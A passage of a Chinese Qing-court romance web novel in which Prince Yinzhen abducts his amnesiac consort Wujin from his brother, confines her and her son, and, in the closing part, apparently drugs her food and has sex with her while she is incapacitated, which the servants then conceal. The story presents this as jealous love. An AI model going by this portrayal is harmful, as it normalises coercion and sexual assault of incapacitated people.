胤禛见到乌锦眼里只有害怕,他就知道那婢女说得没错,所以她才没有找他,她什么都不记得了,而十四肯定是趁虚而入。
至于她脸上的疤怎么没的,可能还得问十四。
胤禛想把乌锦带走,只是她不愿意跟他走,哭闹得厉害,他直接一个手刀劈晕她,将人抱走。
完颜氏都不知道发生了什么,四阿哥逛府邸怎么变成闯入吴侍妾的房间,又把吴侍妾带走。
“洪公公,这是怎么一回事?”
“奴才……奴才也不知道。”
“洪公公,都到这个时候了,你还不说实话,那吴侍妾究竟是谁,为何四阿哥会认识她?”
洪巍哪里敢说,只能闭嘴不言。
这府里乱成一团,完颜氏都不知道怎么回事,看四阿哥今日是有备而来,带来那么多人,这吴侍妾到底跟四阿哥是什么关系。
等到十四阿哥回来,洪巍跟十四阿哥说吴侍妾被四阿哥带走时,十四阿哥想也没想就往外走。
完颜氏知道这里头一定有什么事是她不知道的,一个两个都瞒着她。
胤禵这边直接冲去四哥府邸,他见到四哥时直接问人在哪里。
“十四弟说的是谁?”
“四哥,把人还给我。”
“十四弟说的是谁,把谁还给你?”
胤禛站在台阶上,居高临下地看着胤禵。
“四哥,把人还给我。”
胤禛冷笑一声,目光凌厉地看向胤禵:“十四弟,你真不愧是我的好弟弟,明知乌锦是我的人,明知她伤着脑袋,不记得以前的事,你为了私欲将她困了七年之久,如今还敢跟我要人,她是姓乌还是姓吴,她是不是乌锦,我想十四弟很清楚,乌锦是我的侧福晋,你以什么身份跟我要人?”
“四哥,她已经不记得你了。”
“我总会让她想起来,十四弟就别操心了,我劝十四弟赶紧离开,不然我会杀了你。”
胤禵不惧反笑:“四哥,你要弑弟吗?你敢杀吗?你敢在这个时候背上弑杀兄弟的骂名吗?四哥,乌锦要是能想起来早就想起来了,何必等到现在,她已经不记得你了,还请四哥把人还给我,不然我一定闹个天翻地覆。”
胤禛怒到额头上青筋暴起,拳头紧握,他还敢闹?他有什么理闹,乌锦是他的侧福晋,已经上了玉牒,他明知乌锦是他的侧福晋,还敢强行把人留在他身边,他从来不知道他的十四弟是这样的,狠狠背刺他。
“十四弟,有本事你就闹,看谁占理,人我既然已经带回来了,就不可能让你带走,你别痴心妄想了,要把人带走,你就踏着我这个哥哥的尸体过去。”
胤禵知道自己不占理,但他不可能将乌锦让出去,只是今日事发突然,他带的人少,想带走乌锦没那么容易。
“四哥,我今日带不走,不代表我以后都带不走,乌锦不记得你了,她记得的人是我,我才是她的丈夫,她现在爱的人是我,我们在一起七年,这七年是抹灭不掉的。”
“弘春是谁的孩子?”
胤禵轻笑:“四哥想知道弘春是谁的孩子,我偏不告诉四哥,我今日可以走,还请四哥别伤害她,她是无辜的。”
“滚!”
胤禵只能先离开。
胤禛回到桃园,听丫鬟说乌锦哭累睡着了,他进去房间,坐在床边看着睡过去的人,没有那块疤的脸庞的确好看,他伸手摸了摸她的脸。
七年,胤禵藏了她七年,这七年,他不信他们什么都没有发生,弘春到底是谁的孩子,虽说弘春如今六岁,但保不齐胤禵在说谎,孩子是看不出来六岁还是七岁。
胤禛想到胤禵跟她耳鬓厮磨,亲密无间,做过所有他们之前做过的事,他就嫉妒得发狂。
胤禵该死。
胤禛从来没有这样愤怒过,想杀一个人的心压制不住,乌锦伤着脑袋,看上去是真的什么都不记得,原先伺候她的几个丫鬟,她通通都不记得,他还没有告诉曦宁。
曦宁如今长大了,对小时候的事也逐渐淡忘,未必记得她额娘,她额娘在她记忆力也淡化不少,七年太久了,孩子小时候没什么记忆力,在曦宁开始有记忆的时候,乌锦已经不在她身边了。
此后两天,胤禛每次从外面回来都听到丫鬟说乌锦哭了好几回,吵着要回到十四身边,十四说得没错,现在的乌锦的确把十四当成她的丈夫,而不是他。
他不想面对一个口中不停喊着十四名字的乌锦,他只有在她睡过去的时候才过去看她,也任由她哭她闹,他不可能放她回去十四那边,十四这两天也没有过来找她。
他从户部那边回来,又过去桃园,一进桃园,他就听到乌锦在屋内闹,他进去时,那几个丫鬟一脸担忧。
“我要见十四,你们为什么把我关在这里?”
她这几天哭闹,嗓子都哑了。
“出去吧。”
屋内的奴才通通出去。
胤禛一步步走近乌锦,她坐在床上,头发披散,眼睛红肿,看上去憔悴不已,对他的靠近,她是往床边缩去。
“你是坏人。”
“吃饭了吗?”
“不吃,我要见十四。”
“不吃会饿死,饿死了,你就更见不到十四了。”
胤禛坐在床沿边,温声跟她说话。
“好啦,别哭了,你看你眼睛都成什么样了,真哭瞎了,你以后还怎么看到十四。”
“这里不是我的家,我要见十四,我要见弘春。”
“弘春是你的儿子吗?”
乌锦点头,说弘春是她跟十四的孩子。
胤禛发现失去记忆
的乌锦变得很单纯,像不谙世事的小孩,问什么答什么,听到她说弘春是她跟十四弟的孩子时,他眯了眯眼,眼神晦暗不明,弘春那个孩子长得更像她。
“吃点东西吧,十四说这阵子你留在这。”
“为什么?”
“他有差事要忙,放心,我不会伤害你,我是十四的哥哥,亲哥哥,十四叫我四哥,你也跟着十四叫我四哥吧。”
胤禛知道不能吓她,不能让她惧他,顺着她比较好。
“你真是十四的哥哥?十四说过他有好多哥哥。”
胤禛点头:“他说得没错,他是有很多哥哥,我是其中一个,十四将你托付给我,放心,十四知道你在这里,他让你安心待下来,等他忙完后过来接你。”
乌锦信了几分,也没有那么怕了。
“饿不饿?我让人摆膳,你吃点东西吧。”
乌锦乖乖地点头。
胤禛想伸手摸她的头时被她躲开,他也把手收回去,叫人摆膳。
乌锦跟以前一样很喜欢吃,胤禛只在一旁看着她吃,等她吃完后,胤禛指着那几个奴才,问她记不记得她们。
乌锦摇头。
胤禛让他们自己报上名字,从君梅再到小才子,乌锦眼里依旧是陌生,没想起以前伺候过的奴才。
“十四把弘春带出去了吗?”
“嗯,所以你暂时见不到他们。”
乌锦哦了一声,有些不高兴。
胤禛让那些奴才看好乌锦,他回前院。
过一会儿,曦宁过来找他。
十三岁的曦宁已经是亭亭玉立的大女孩,容貌出色,胤禛看着曦宁,这张脸像足了乌锦,不过是年纪小一点的乌锦。
“阿玛……”曦宁欲言又止。
“什么事?”
曦宁鼓起勇气道:“阿玛,我听说桃园那边住人了,这是真的吗?”
自从乌锦“死”后,胤禛就将桃园封起来,不再住人,连曦宁都搬去别的院子住。
“是真的。”
曦宁犹豫,不敢表现得太明显,颇为谨慎道:“可是阿玛,那不是额娘住的地方嘛,阿玛怎么让别人住进去。”
曦宁一直都知道桃园是她额娘生前住的地方,她也一直听说她阿玛很喜欢她额娘,不愿意睹物思人才将桃园封起来,只是这几天,她听说桃园有别人住进去了,她顿时有些不开心,觉得自己额娘的地方被占去了。
“你还记得你额娘吗?”
“我当然记得,我额娘她对我可好了,阿玛,你别让别人住进桃园好不好?”
胤禛看着曦宁,示意曦宁过来,他摸了摸曦宁的头,女儿都记得乌锦,可惜乌锦不记得曦宁了。
“你真的还记得你额娘?”
“当然,我怎么会不记得额娘。”曦宁只记得自己的额娘对她很好,很温柔,但她其实已经不记得额娘对她说过的话,样子也有点模糊,毕竟她额娘死的时候,她才六岁。
“你额娘她回来了,桃园住的是你额娘,明日开始,你每日过去桃园,跟你额娘说说话。”
曦宁已经十三岁,不是小孩子了,她知道死意味着什么,听到她阿玛说她额娘回来了,她愣了一下,惊讶地看着阿玛,心想阿玛肯定想额娘了,已经死掉的人怎么可能回来。
“阿玛,你……你在说什么?额娘她不是已经死了吗?”
“你额娘没死,你明日去看看就知道了,你还记得你额娘长什么样吧。”
曦宁心中疑惑,见阿玛这么肯定,她只好先应下,说她明日就去看看。
事实上曦宁一走出阿玛的房间就过去桃园,君梅姐姐她们都是她熟悉的,也是伺候她的人,不过前几年嫁人了就出府了,她见到君梅姐姐她们时也有点意外。
“君梅姐姐,你们怎么在这?”
“格格,你怎么过来了?是主子爷让你过来的吗?”
“是,阿玛让我过来的,说是我额娘回来了。”
君梅表情为难,主子是回来了,但主子什么都不记得了,连她们都不记得了,未必会记得格格,而且主子整个人都变了,原先脸上的疤没了,性子也不一样了。
不过既然是主子爷让格格过来的,她就带着格格进去。
“主子,这是曦宁格格,你还记得曦宁格格吗?”
曦宁见到住进桃园里的女子,只觉得对方长得很好看,她记得额娘脸上是有一块疤的,可是这个女子脸上没有,所以她不认为她是她的额娘。
乌锦摇头说她不记得了,问曦宁是谁。
“我是府里的曦宁格格,是我阿玛的女儿,你又是谁,为何能住进桃园?”
君梅在一旁说道:“格格,你不记得了?这是主子,你是主子的女儿,她是你亲额娘,小时候主子多疼格格。”
曦宁直言不可能,说她额娘已经死了。
君梅也不知道主子怎么又活过来了,不仅是主子不记得小格格,连格格都不记得主子了。
“格格,是真的,主子她没有死,格格,你看你跟主子长得多像,简直是一个模子印出来的,主子真是你额娘,不信,你问主子爷。”
乌锦听她们说面前这个女孩是她女儿,她否认道:“她不是我女儿,我没有女儿,我只有儿子,弘春是我儿子。”
君梅跟听春对视一眼,又小心翼翼看向小格格,怕小格格听了伤心,她不由地解释一句:“格格,主子她什么都不记得了,主子她伤到脑袋了。”
“君梅姐姐,她不是我额娘,我额娘脸上有疤的,我不是她的女儿,阿玛骗我,她才不是我额娘。”
小孩子心思也很敏感,也好胜,见那个女子否认她是她女儿,曦宁也坚决否认,不认这个女子是她额娘,甚至对她生出几分不喜,依旧觉得她住在桃园是占了额娘的地方。
“格格,但你看你跟主子很像,主子是你额娘没错。”
“君梅姐姐,你在说什么?你怎么跟阿玛一样骗我,就为了让这个女人住在桃园吗?我跟她才不像,不行,我得让阿玛把她赶出去,她不能住在桃园,这是额娘的地方。”
曦宁说完后直接跑出去,过去找她阿玛,让她阿玛把人赶出桃园。
胤禛比较平静,笑着点了点女儿的额头:“你还说你记得额娘,真见到人,你又不记得了,她就是你额娘。”
“不对,额娘脸上有疤的。”
“你额娘脸上的疤让大夫治好了,如今没有了,你看看你额娘跟你长得像不像。”
曦宁还是不相信,她让人找来镜子看自己,然后又过去桃园看那个女子,她觉得不像,她仍然否认,气得连阿玛都不想搭理了,都是骗她的,阿玛就是想那个女人住进桃园才这么说的。
第二天,她还是不相信,又过去看那个女子,还把姐姐曦玉带上,曦玉说她们真的长得很像时,她才开始不确定起来,难不成真是她额娘?
既然是她额娘,她额娘为何不认她,曦宁想不通,跑去问她阿玛,她阿玛说她额娘伤着脑袋了,才不记得她。
曦宁不明白为何伤着脑袋后,额娘会不记得她,她若真是额娘的女儿,那就是额娘生她出来的,怎么连自己的女儿都不记得。
而且那个女人说她只有一个儿子,她不是她女儿,曦宁心想她也不要当她的女儿,她没有额娘也过得很好,虽然阿玛让她每天过去跟额娘说说话,她才不要过去,额娘都不记得她了,她过去有什么用。
不过她听她额娘说她有一个儿子叫弘春时,她记得弘春是十四叔的儿子,奇怪,她额娘的儿子为何是十四叔的儿子。
曦宁想不明白。
第102章第102章新文《康熙家的德妃又作又……
乌喇那拉氏没想到四阿哥这么快就发现乌锦,且把人接回府里,人又回桃园住着,只是乌锦此前七年跟十四阿哥在一块,还育有弘春,乌锦等于是失节,不守妇道,红杏出墙,四阿哥就一点都不在乎吗?
最重要的是弘春到底是谁的孩子?
她带着李氏一起过去桃园一趟,她先前已经知道乌氏脸上没有那块疤,倒是李氏七年后再见到乌氏很是诧异,跟她对视一眼。
“乌妹妹,真没想到你竟然还活着,这是天大的喜事,回来就好。”乌喇那拉氏过去握着乌氏的手,神情表现出激动的样子。
乌锦这几日见到的陌生人太多,没有一个自己熟悉的人,她有太多的不安,陌生人的碰触让她下意识想躲避。
“乌妹妹,你当初怎么会没跟主子爷一块回来?当年到底发生了什么,这七年,你去哪里了?”乌喇那拉氏是真的想知道这七年发生了什么,为何乌氏会跟十四阿哥在一起。
乌锦把手挣脱出来,一脸防备,有点听不到她在说什么,求助的目光看向君梅。
“福晋,我家主子她什么都不记得了。”
“什么都不记得了是什么意思?”
“我家主子她摔坏脑袋了。”
乌喇那拉氏一脸不相信,怎么可能什么都不记得,她盯着乌
氏,问道:“乌妹妹,你连我都不记得了吗?”
“你是谁?”
乌喇那拉氏又忍不住跟李氏对视一眼,不可置信道:“乌妹妹,你真不知道我是谁?那曦宁,你知道是谁吗?”
乌喇那拉氏心想乌氏不至于连自己的亲生女儿都忘记吧,可是见到乌氏摇头时,她愣了一下,难不成真的什么都不记得了?
这好像也说得通,不然乌氏不可能七年都没有回来,当时乌氏多得宠啊,曦宁当时也还小,当额娘的人不至于狠心将女儿都抛弃,也许真是什么都不记得,而十四阿哥又趁虚而入,她才会跟十四阿哥在一起。
她看乌氏对她们的眼神的确很陌生,不像是故意演出来的,乌喇那拉氏只好道:“不管怎么样,妹妹能平安回来就是好事,不知妹妹有没有见过曦宁?曦宁这孩子长大了,变成漂亮的大姑娘了。”
“曦宁是谁?”
“曦宁她……”乌喇那拉氏顿了顿,不知该不该直说,话语一转只说她是府里的二格格。
乌喇那拉氏跟李氏从桃园出来时,其实仍然处在惊讶中。
“姐姐,乌妹妹真的什么都不记得了吗?那主子爷怎么找到她的?”
家丑不可外扬,乌氏跟十四阿哥的事越少人知道越好,乌喇那拉氏回道:“这我也不知道,这得问主子爷才行,恐怕只有主子爷知道乌氏发生了什么。”
她们显然都不敢去问四阿哥,四阿哥这几年性子越发不好相与,乌喇那拉氏回到云水堂后坐在铺炕上,想得入神。
“嬷嬷,有什么办法可以验证两人是父子关系?”
崔嬷嬷说道:“福晋是担心弘春是主子爷的儿子?”
乌喇那拉氏点头,乌氏都这样了,四阿哥还是把人接回府里,不介意乌氏跟十四阿哥的过往,可见四阿哥是真的很爱乌氏,四阿哥唯一爱过的人只有乌氏一个,乌氏是唯一一个进入他心里的女人,若弘春真是四阿哥的儿子,将来四阿哥若是能坐上那个位置,保不齐会让弘春当太子,她必须要为弘晖提前做打算,替弘晖扫去障碍。
“福晋,这恐怕要滴血认亲了。”
“滴血认亲?”
崔嬷嬷说民间有这么一说法,若两人的血合在一块,说明两人存在近亲的关系,不过这只是民间的说法,未必做得了准。
近亲?四阿哥跟十四阿哥是一母同胞的亲兄弟,弘春若是十四阿哥的儿子,这血会不会也跟四阿哥的血融在一起,而且要取四阿哥的血并不容易,这事不能太冒险,还得从长计议。
乌喇那拉氏第二日回娘家一趟,跟她额娘说了这事,没有隐瞒,她额娘反而不担心。
“傻女儿,弘春不确定是谁的孩子,你会起疑,四阿哥也会起疑,既然四阿哥起疑,他就不会让那个孩子越过弘晖继承爵位,你不要小看男人的自尊心,在一个不确定是不是自己的孩子跟一个一定是自己的孩子当中选,你觉得四阿哥会选谁,相反,这个时候,你越不能轻举妄动,不要慌张,越不能表现出敌意,不管弘春是谁的孩子,你其实都无需担心,四阿哥若是真坐上那个位置,一个帝王是不会让一个血脉模糊的孩子继承他的皇位。”
爱新觉罗氏生在皇家宗室里,最清楚皇家讲究的就是血统纯正,不然也不会有黄带子跟红带子,黄带子始终比红带子要尊贵。
乌喇那拉氏被自家额娘一提醒,顿悟,额娘说得对,正因弘春不确定是谁的孩子,弘春就不可能继承四阿哥的爵位,哪怕乌氏承认弘春是四阿哥的孩子,四阿哥心中估计也会一直存疑,哪怕滴血认亲了,怀疑也不会消失,乌氏一回来,她失去冷静,没太细想。
她笑道:“额娘,我知道了。”
乌喇那拉氏满意地离开娘家,回到府里后整个人就变得从容许多,不再纠结弘春是谁的孩子,乌氏回来就回来,四阿哥的心在乌氏那也没关系。
……
曦宁这边也已经相信桃园住着的女人是她额娘,阿玛这样说,其他人也这样说,她发现自己真的跟额娘长得很像,她也慢慢想起来小时候的事,只是她额娘不认她,她堵着气也不过去找她额娘,哪怕阿玛让她每日过去跟额娘说说话,她也没有过去。
有一日,曦宁见到弘春跟弘时在府外,弘春被拦着不让进府,额娘说弘春是她的儿子,但只有额娘这么说,阿玛他们都说不是,阿玛说额娘摔坏了脑袋了,有时候额娘说的话不用当真。
“二姐,这些奴才不让弘春跟我一起进府,我要杖责他们。”弘时气呼呼道。
曦宁过去看那些守门的奴才,为何不让弘春进府。
“二格格,我们是奉主子爷的令,主子爷说闲杂人等不能进府。”
“弘春是十四叔的儿子,怎么算闲杂人等?”曦宁不解地说道。
“主子爷说了外人不能进府,还请二阿哥跟二格格别为难奴才。”
曦宁发现这阵子门口的守卫跟奴才多了好几个,只是连弘春都不能进府,弘春是十四叔的儿子,也算外人吗?
“阿玛今日就在府里,我去问问阿玛,弘时,你们在这里等一等,我进去问问阿玛。”
“那好,二姐,你问问阿玛。”弘时气鼓鼓地说道。
曦宁目光忍不住扫了一眼弘春的脸,弘春的眼睛很大,十四叔的眼睛没那么大,弘春的脸好像跟额娘也有点像,真是奇了怪了。
曦宁又折返回去,来到阿玛的前院,听说阿玛在书房,苏公公在书房外面,她说她要见阿玛,没等苏公公进去通传,她就推门而入。
“阿玛……”
阿玛从案桌上抬起头,曦宁说了弘春被拦在府外的事。
“我看弘时弟弟想带弘春进府玩,只是那些奴才说阿玛不让外人进府,阿玛,为什么弘春不能进来?”
“让他进来。”
曦宁一愣,“阿玛是说弘春可以进来吗?”
“嗯,弘春他也是你弟弟,让他进来吧。”
曦宁没想到阿玛这么快答应,她见阿玛不似在说笑,她又折出去,跟门口那些奴才说阿玛已经同意弘春进府,让他们放人进来。
弘时跟弘春一块进府,这阵子弘时跟弘春玩得好,成天在一块玩,曦宁是女孩子,跟他们这些男孩子玩不到一块,她没管他们,她出府跟五叔的女儿逛街。
弘春过来是为了见他额娘,阿玛说额娘在四伯伯府里,被四伯伯关起来,他不明白为什么,但他听阿玛的话,要找到他额娘,阿玛还让他瞒着别人,要不被人发现。
他之前已经来过好几次了,阿玛说额娘住在一个桃园的院子,他知道桃园在哪,只是他得甩开弘时哥哥才行。
他假装肚子疼,要去恭房,弘时哥哥没管他,他偷偷跑去桃园那边,只是碰到四伯伯。
“弘春,你不跟弘时在花园那边玩,来这里做什么?”
弘春心虚,但他胆子大,说谎说他认错路了,不知这里是哪里,问四伯伯怎么走回到花园那边。
“苏培盛,送弘春到花园那边,弘春,这里是后院,你一个男孩子是不可以随便闯进来的。”
“为什么不可以?”
“因为你是男孩子。”
弘春说他是小孩子,小孩子哪里都可以去。
“这里是四伯伯住的地方,四伯伯说你不可以进后院,你就不可以进后院,在你家你说了算,在我家我说了算。”
弘春知道四伯伯说得有道理,可是他还没见到额娘,他已经很久没有见到额娘了,阿玛说额娘被四伯伯关起来了,他一时心急,忘记阿玛嘱咐的,大声道:“四伯伯,我要见我额娘,我阿玛说你把我额娘关起来了,四伯伯,你把我额娘放出来。”
“苏培盛,把弘春送回去。”
苏培盛示意身后的两个小太监过去抓住弘春小阿哥。
弘春眼看着别人要抓他,他喊得更大声了,同时跟泥鳅一样绕着跑,不让人抓到。
“四伯伯,你把我额娘放出来,你是坏人,你为什么把我额娘关起来。”
乌锦已经不再哭闹,她相信他们的说辞,之前在镇北关的时候,十四也会回京,她跟弘春两人留在镇北关,在庄园那边也是,她知道十四肯定会回来接她,她只需要等着。
只是她好多日没见到弘春,她有点想弘春,问那些人她何时能见到弘春,君梅她们只能骗主子说快了。
她在桃园里刺绣时忽然听到弘春的声音,她看向君梅:“你听到没有?那好像是弘春的声音。”
“主子,你可能听错了。”君梅硬着头皮道。
乌锦不可能听错弘春的声音,她起身往外走,君梅她们想拦,被乌锦推开,她打开院门,见到弘春被两个人抓住,弘春在挣扎,她立即喝道:“你们在干什么?”
“额娘,额娘……”弘春见到自己的额娘,高兴大喊。
乌锦过去,将弘春从那两个人手里拉出来,让弘春躲到她身后。
“额娘,你跟我回去好不好?我跟阿玛都很想你,四伯伯是坏人,他不让我见额娘。”弘春开始哽咽,豆大的泪珠滚落下来,紧紧抱住自己额娘的腿。
乌锦也很心疼地看着弘春,不明白发生了什么,她说她跟他回去,问他阿玛在哪。
“阿玛就在外面,额娘,我们回家好不好,阿玛在等我们,阿玛让我过来的。”
“十四来接我了?”乌锦以为十四来接她了,她也很是高兴,帮弘春擦掉眼泪后就想带着弘春出去,只是被拦住。
“他可以走,你不可以走。”
乌锦看向面前这个高大冷脸的男子,下意识问为什么。
“你是我的侧福晋,你只能待在这里。”
“我才不是你的侧福晋,我是十四的侍妾,十四来接我了,我要回去了。”
弘春也从后面探出脑袋,附和他额娘:“四伯伯,我额娘才不是你的侧福晋,我额娘是我阿玛的人,是我额娘,我们要回自己家。”
胤禛冷着一张脸,仿佛被一层寒霜覆盖,眼眸里尽透着寒意跟戾气,母子情深的画面让他脸色更加冷峻。
“既然这样,那谁都不可以走,来人,把他们关进桃园。”
苏培盛不敢多话,指使其它奴才把人关进桃园,就是强行把人拉进去。
“四伯伯,你为什么不让我们走,你是坏人,我不喜欢你了。”
苏培盛怕弘春小阿哥再说出什么话,他只好把院门从外面关上,关上后还能听到小阿哥在骂人,他都怕四阿哥冷着脸的样子,弘春这孩子胆子是真大。
乌锦也没想到那人不让他们走,十四来接他们,他却不愿意让他们走,她才意识到原来不是十四让她待在这里等他回来,她是被关在这里的。
“主子,你别跟主子爷拧着来。”
乌锦知道自己是被关进来的,见到那些人这么对弘春,她已经不相信这个几个伺候她的人了,抱着弘春,目光充满防备:“你们跟他是一伙的。”
“主子,你真的什么都不记得了吗?你是主子爷的侧福晋呀,你不是十四阿哥的侍妾。”君梅无奈道。
“你们胡说,我不相信你们,你们跟他是一伙的,我要见十四,你们让我见十四,我们要回去,你们把门打开。”
“对,我们要回家,我跟我额娘要回来,额娘,要是门不开,我们就把门踹开。”
“弘春,他们人多,我们等阿玛过来救我们。”
乌锦知道这里只有她跟弘春两人,外面可是有好多人,还是等十四带人过来救他们,他们才不会受伤。
“对,阿玛会救我们。”
乌锦牵着弘春的手先进房间,她把房门关上,把君梅她们关在外面,她给弘春擦掉眼泪,掀开他的袖子一看发现他的小手臂上红了好几块,刚刚被拽红的。
“额娘,我不疼。”
乌锦摸了摸弘春的头,她也开始担心起来,十四能把他们救出去吗?她知道十四是阿哥,皇上的儿子,但是那个人似乎也是阿哥,而且是十四的哥哥。
另一边的胤禵迟迟不见弘春出来,他直接带着他的佐领进府,冲进前院,好几十人挤在前院的院子里。
胤禛见到胤禵终于忍不住过来要人了,他嘴角挂着一抹嘲讽的笑,双眸眯起,他丝毫不惧:“十四,你带着这么多人过来我的府邸,是想做什么?弑兄吗?”
“四哥,你别逼我。”
胤禛冷笑:“我逼你?十四,我何时逼你了?”
“你把人还给我。”
“把谁还给你?”
胤禵沉默不语。
“来人,把弘春带过来还给十四阿哥,还请十四告诉你儿子,下次不要随随便便闯入别人家。”
胤禛料准了十四不敢把这事张扬到人尽皆知的地步,乌锦是他的侧福晋,而不是他的侍妾,这事闹大,是他无理。
“四哥,你非要逼我吗?她都不记得你了,你把人困在你身边是卑鄙的。”
胤禛轻呵一声,他卑鄙,他的好弟弟趁虚而入,在乌锦什么都不记得的时候把人困在他身边才是卑鄙,他还敢倒打一耙说他卑鄙,人不记得没关心,他就要留她在身边。
“十四弟,好走不送。”
弘春哭着被带过来,一见到他阿玛,就说额娘还在桃园,要把额娘一起带走。
胤禵看了一眼四哥,就知道今日他带不走乌锦,要把人带走,只能见血,两败俱伤,这事闹到皇阿玛面前不是好事,乌锦会被当成红颜祸水被皇阿玛处死。
“弘春,我们先走。”
“额娘呢?”
“额娘先留在这边,放心,额娘会没事的,他们不会伤害你额娘。”
弘春虽然才六岁,但不是什么都不懂,他看出阿玛的为难,他只好懂事地点点头。
胤禵带着弘春跟其他人离开。
在四阿哥身后的苏培盛大松一口气,他真怕十四阿哥跟四阿哥犟起来,真犟起来,怕是要死不少人,到时候闹到圣上那边,无论是四阿哥还是十四阿哥恐怕都得挨罚,幸好十四阿哥还有一些理智。
胤禛连晚膳都不吃,直接过去桃园,乌锦一看就是哭过的样子,她用怨恨的眼神看向他。
“你为什么要把我关在这里?”
“乌锦,你什么都不记得没关系,我记得就行。”
乌锦拿起炕桌上的茶杯直接砸向他,一个不解气,又想拿起另一个,胤禛快步上去,擒住她的手腕。
男人的力气比女人大不少,乌锦两只手腕都被抓住时,她气得直接张口咬他。
“你真是属狗的,就该把你的嘴封起来。”
被咬疼的胤禛还是把人松开,他说道:“你再咬,信不信我让你以后再也见不到弘春跟十四。”
乌锦才停下来,仍然满身怒气地看着他。
“你要是想见到他们就必须听我的话,不然你这辈子都别想见到他们,你也别想着十四会来救你,他知道你在这里,但是他救不了你,他只是一个卑鄙无用的小人。”
“你才是卑鄙无用的小人。”
“你骂,你随便骂,要是把我惹生气了,你会见不到他们。”
乌锦顿时不敢骂了,总觉得这个男人说到做到。
胤禛见到乌锦怂怂的样子,心情才好一些,摔着脑袋了,胆子也变小了,他让人摆膳,之前他只是过来看她,没有在这里用膳,更没有对她怎么样。
胤禛现在反而不愿意了,他以前能强迫她当他的外室,无非是重来一遍而已,他就逼她了,再强迫她一回又如何。
她要是想起来以前的事是再好不过,想不起来,他也不吃亏。
“过来。”
“我不吃。”
“不吃就饿死。”
乌锦想想没必要在吃饭上跟他怄气,吃饱才有力气,于是
她坐到他对面,拿起筷子开始吃起来。
还是识时务的,胤禛无声地笑了笑。
乌锦很快吃完,吃完后她回到内间,离他远远的。
胤禛吃好后让人把膳食撤下去,顺带备热水给他沐浴,九月初的京城还是有些燥热的。
乌锦想闹,但是知道自己一个人势单力薄,再怎么闹恐怕也无济于事,她一直在想自己要怎么逃出去,却想不出什么好办法,她坐在床上,突然很想哭,她啜泣起来。
胤禛沐浴完后穿着单薄的纱衣过来见到乌锦像个小可怜一样啜泣,听到脚步声,她抬起头,整个人像是受惊的兔子。
“你……你怎么还在这里?”
“我为什么不能在这里,我今晚就睡在这。”
乌锦瞪大眼睛,她知道男女授受不亲,她的丈夫是十四,她要为十四守身如玉,她身为女子不可以再跟别人有肌肤之亲,更别说睡在同一张床了。
“你睡在这里?那我要睡在哪里?”
“当然是跟我一起睡。”
“你……你……你无耻!”
乌锦想也没想就想往外走,她不要跟这个人共处一室,只是手又被攥住,怎么都挣脱不开。
“你放开我,我要见十四,我要见十四,呜呜呜……”乌锦害怕到大哭起来。
胤禛现在最不想听到十四两个字,她张口闭口就是十四,他还没对她怎么样呢,她反倒哭起来了,见她挣扎得厉害,他只好把人松开。
第103章第103章新文《康熙家的德妃又作又……
等他再想碰她时,她突然过去拿起剪子对着自己的脖子,恶狠狠地瞪着他。
“你要是再碰我,我就自戕给你看。”
胤禛真是气笑了,她这是要为十四守身如玉呀,见她的脖子被剪子压出凹陷,他只好道:“好,我不碰你。”
“你出去!”
胤禛还是走了出去,没有在桃园过夜,他气到一整夜都睡不着。
昨天十四带了那么多人过来,闹出的动静不小,胤禛被德妃娘娘召去皇宫,问是怎么回事,他说没事,娘娘见他不肯说,也没有追问下去。
只是过几日,朝堂上就有他跟十四不合的传言,甚至两人大打出手,胤禛怕牵扯到乌锦,让人对外散布假消息,说是弘春跟弘时两人打架,他跟十四不过是为各自的孩子出头而已,小孩子之间发生多大的事都不算大事。
先前乌锦失踪时,皇阿玛就对他有所不满,觉得他为了一个女子而不顾全大局,太过儿女情长,他们毕竟是皇阿玛的儿子,但乌锦不是,一个女子引起兄弟残杀,皇阿玛只会下令处死乌锦。
胤禛也不想把事情闹到皇阿玛面前,他想十四应该也不想,他们都不想乌锦出事。
这事的风波暂且过去,皇阿玛没有过问,胤禛也有好几天没过去桃园。
九月十日,傍晚的余晖伴着橙光,京城的天气有些阴凉。
胤禛过去桃园,还没进屋,奴才君梅跟他说这几日乌锦又开始哭闹了,他只是淡淡地嗯了一声,随即走进去,也让人摆膳。
乌锦一见到他,又有什么东西砸过来。
胤禛定眼一看发现是绣花靠垫,他再看屋内,基本上一些尖锐或是能砸碎的东西都被收起来了。
“你要把我关到什么时候?”
乌锦这几日是真的很绝望,出不去,伺候的那些奴才说她想出去只能求这个人,她们做不了主,她也不愿意为难这帮奴才,她明白这些人只是奉令行事而已,她也没有傻到真的弄伤自己,所以只能自己憋气。
“你的十四知道你在这里,只是他不来救你。”
“十四肯定有为难之处。”
胤禛嘲讽道:“你倒是挺会替他找借口的,不像脑子摔坏了。”
“谁脑子摔坏了?”
胤禛坐在膳桌前,等着奴才摆膳。
乌锦不想见到他,转身回内间。
膳食摆上来后,胤禛示意其他人出去。
乌锦听到外面没有任何动静,以为人走了,走出去发现人还在,而且已经在优哉游哉地用膳。
“你不坐下来吃的话,我吃完后会让人把它们都撤下去,晚上你就饿肚子。”
乌锦想了想,晚上的确不能饿肚子,不管怎么样,吃饭最大,她还是过去坐下来,只是他碰过的那碟菜,她不吃,只吃她面前的。
好在这人吃完后就离开了,乌锦松一口气,等她也吃完,沐浴过后,她躺在床上时,只觉得浑身燥热,整个人像是烧着一样,让她抓心挠肝的,觉得口干舌燥。
“水,水,我要喝水……”
有人把她扶起来,她喝到水后才觉得缓解,不过很快,她又觉得口渴,浑身发热,她意识也开始模糊,有点看不清面前的人。
她又喝了一口,刚喝完后觉得有人低头,她也下意识地缠着对方,觉得这样比喝水更能缓解她身上的燥热,甚至她想要更多,她攀着对方的脖颈。
“嗯……”她嘤咛出声,身上的衣服也被解开,她眼神变得迷离,人迷糊了,到后面,她予取予求,只想让那人别松开她。
一直到后半夜,这房间内的动静才停下,屋内的人才叫水。
等乌锦醒来时,她只觉得浑身酸痛,好像昨晚干了什么重活,整个人提不起劲,甚至她不记得自己几时入睡的。
之后几天,那人都会在傍晚过来跟她一起用膳,吃完后他就离开,第二天,乌锦醒来时总觉得浑身酸软,夜里的记忆迷迷糊糊,好像夜里有一个人缠着她,只是她醒来时不见人影,她身上会突然出现一些印记,她都不知道那些印记怎么来的。
君梅说她是被蚊子咬的,秋日蚊虫多。
她没等到十四过来接她,她就先病了,蔫蔫地躺在床上,听到外面有脚步声时,她侧目一看,那人进来,她忙将被子拉上裹上自己。
“怎么病了?”
对方的手放在她额头上时,她拍开。
“主子她发烧了,柯大夫说主子身子虚弱,寒气入体,这才导致发烧。”
